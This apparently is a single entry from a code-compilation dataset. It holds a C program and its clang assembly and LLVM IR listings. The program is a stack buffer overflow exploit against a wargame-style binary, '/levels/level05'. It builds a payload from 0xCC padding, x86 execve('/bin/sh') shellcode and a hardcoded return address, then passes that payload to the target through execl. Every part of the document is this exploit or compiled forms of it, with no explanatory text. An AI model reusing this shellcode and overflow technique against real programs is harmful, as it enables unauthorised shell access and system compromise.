#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ assert(int);
int execl(char *, char *, char *, int /*<<< orphan*/ *);
int /*<<< orphan*/ memcpy(char *, char *, int);
int /*<<< orphan*/ memset(char *, int, int);
int strlen(char *);
int main() {
  char payload[((0xbffffc5c - 0xbffffbd0) + sizeof(void *)) + 1];
  memset(payload, 0xCC, ((0xbffffc5c - 0xbffffbd0) + sizeof(void *)));
  payload[((0xbffffc5c - 0xbffffbd0) + sizeof(void *))] = 0;
  memcpy(payload,
         "\x31\xC0\xBB\x00\x00\x00\x00\x88\x43\x07\x89\xD9\x83\xC1\x08\x89\x19"
         "\x89\x41\x04\x31\xD2\xB0\x0B\xCD\x80",
         26);
  *(int *)(payload + strlen(payload)) = 0xbffffbd0 + 100;
  memcpy(payload + 100, "/bin/sh", 7);
  *(int *)(payload + (0xbffffc5c - 0xbffffbd0)) = 0xbffffbd0;
  assert(strlen(payload) == ((0xbffffc5c - 0xbffffbd0) + sizeof(void *)));
  return execl("/levels/level05", "/levels/level05", payload, NULL);
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0xa0,%rsp
movl   $0x0,-0x4(%rbp)
lea    -0xa0(%rbp),%rdi
mov    $0xcc,%esi
mov    $0x94,%edx
call   1040 <memset@plt>
movb   $0x0,-0xc(%rbp)
lea    -0xa0(%rbp),%rdi
lea    0xe76(%rip),%rsi
mov    $0x1a,%edx
call   1060 <memcpy@plt>
lea    -0xa0(%rbp),%rdi
call   1030 <strlen@plt>
cltq
movl   $0xbffffc34,-0xa0(%rbp,%rax,1)
34 fc ff bf
lea    -0xa0(%rbp),%rdi
add    $0x64,%rdi
lea    0xe5c(%rip),%rsi
mov    $0x7,%edx
call   1060 <memcpy@plt>
movl   $0xbffffbd0,-0x14(%rbp)
lea    -0xa0(%rbp),%rdi
call   1030 <strlen@plt>
cltq
cmp    $0x94,%rax
sete   %al
and    $0x1,%al
movzbl %al,%edi
call   1050 <assert@plt>
lea    -0xa0(%rbp),%rdx
lea    0xe24(%rip),%rsi
xor    %eax,%eax
mov    %eax,%ecx
mov    %rsi,%rdi
call   1070 <execl@plt>
add    $0xa0,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbx
sub    $0xa0,%rsp
mov    %rsp,%rbx
mov    %rbx,%rdi
mov    $0xcc,%esi
mov    $0x94,%edx
call   1040 <memset@plt>
movb   $0x0,0x94(%rsp)
lea    0xe84(%rip),%rsi
mov    %rbx,%rdi
mov    $0x1a,%edx
call   1060 <memcpy@plt>
mov    %rbx,%rdi
call   1030 <strlen@plt>
cltq
movl   $0xbffffc34,(%rsp,%rax,1)
lea    0x64(%rsp),%rdi
lea    0xe75(%rip),%rsi
mov    $0x7,%edx
call   1060 <memcpy@plt>
movl   $0xbffffbd0,0x8c(%rsp)
d0 fb ff bf
mov    %rbx,%rdi
call   1030 <strlen@plt>
xor    %edi,%edi
cmp    $0x94,%eax
sete   %dil
call   1050 <assert@plt>
lea    0xe49(%rip),%rdi
mov    %rdi,%rsi
mov    %rbx,%rdx
xor    %ecx,%ecx
call   1070 <execl@plt>
add    $0xa0,%rsp
pop    %rbx
ret

LLVM IR (-O0):
@.str = [27 x i8] c"1\C0\BB\00\00\00\00\88C\07\89\D9\83\C1\08\89\19\89A\041\D2\B0\0B\CD\80\00"
@.str.1 = [8 x i8] c"/bin/sh\00"
@.str.2 = [16 x i8] c"/levels/level05\00"
define i32 @main() {
%1 = alloca i32
%2 = alloca [149 x i8]
store i32 0, i32* %1
%3 = getelementptr inbounds [149 x i8], [149 x i8]* %2, i64 0, i64 0
%4 = call i32 @memset(i8* %3, i32 204, i32 148)
%5 = getelementptr inbounds [149 x i8], [149 x i8]* %2, i64 0, i64 148
store i8 0, i8* %5
%6 = getelementptr inbounds [149 x i8], [149 x i8]* %2, i64 0, i64 0
%7 = call i32 @memcpy(i8* %6, i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str, i64 0, i64 0), i32 26)
%8 = getelementptr inbounds [149 x i8], [149 x i8]* %2, i64 0, i64 0
%9 = getelementptr inbounds [149 x i8], [149 x i8]* %2, i64 0, i64 0
%10 = call i32 @strlen(i8* %9)
%11 = sext i32 %10 to i64
%12 = getelementptr inbounds i8, i8* %8, i64 %11
%13 = bitcast i8* %12 to i32*
store i32 -1073742796, i32* %13
%14 = getelementptr inbounds [149 x i8], [149 x i8]* %2, i64 0, i64 0
%15 = getelementptr inbounds i8, i8* %14, i64 100
%16 = call i32 @memcpy(i8* %15, i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0), i32 7)
%17 = getelementptr inbounds [149 x i8], [149 x i8]* %2, i64 0, i64 0
%18 = getelementptr inbounds i8, i8* %17, i64 140
%19 = bitcast i8* %18 to i32*
store i32 -1073742896, i32* %19
%20 = getelementptr inbounds [149 x i8], [149 x i8]* %2, i64 0, i64 0
%21 = call i32 @strlen(i8* %20)
%22 = sext i32 %21 to i64
%23 = icmp eq i64 %22, 148
%24 = zext i1 %23 to i32
%25 = call i32 @assert(i32 %24)
%26 = getelementptr inbounds [149 x i8], [149 x i8]* %2, i64 0, i64 0
%27 = call i32 @execl(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.2, i64 0, i64 0), i8* %26, i32* null)
ret i32 %27
}

LLVM IR (-O2):
@.str = [27 x i8] c"1\C0\BB\00\00\00\00\88C\07\89\D9\83\C1\08\89\19\89A\041\D2\B0\0B\CD\80\00"
@.str.1 = [8 x i8] c"/bin/sh\00"
@.str.2 = [16 x i8] c"/levels/level05\00"
define i32 @main() {
%1 = alloca [149 x i8]
%2 = getelementptr inbounds [149 x i8], [149 x i8]* %1, i64 0, i64 0
%3 = call i32 @memset(i8* %2, i32 204, i32 148)
%4 = getelementptr inbounds [149 x i8], [149 x i8]* %1, i64 0, i64 148
store i8 0, i8* %4
%5 = call i32 @memcpy(i8* %2, i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str, i64 0, i64 0), i32 26)
%6 = call i32 @strlen(i8* %2)
%7 = sext i32 %6 to i64
%8 = getelementptr inbounds [149 x i8], [149 x i8]* %1, i64 0, i64 %7
%9 = bitcast i8* %8 to i32*
store i32 -1073742796, i32* %9
%10 = getelementptr inbounds [149 x i8], [149 x i8]* %1, i64 0, i64 100
%11 = call i32 @memcpy(i8* %10, i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0), i32 7)
%12 = getelementptr inbounds [149 x i8], [149 x i8]* %1, i64 0, i64 140
%13 = bitcast i8* %12 to i32*
store i32 -1073742896, i32* %13
%14 = call i32 @strlen(i8* %2)
%15 = icmp eq i32 %14, 148
%16 = zext i1 %15 to i32
%17 = call i32 @assert(i32 %16)
%18 = call i32 @execl(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.2, i64 0, i64 0), i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.2, i64 0, i64 0), i8* %2, i32* null)
ret i32 %18
}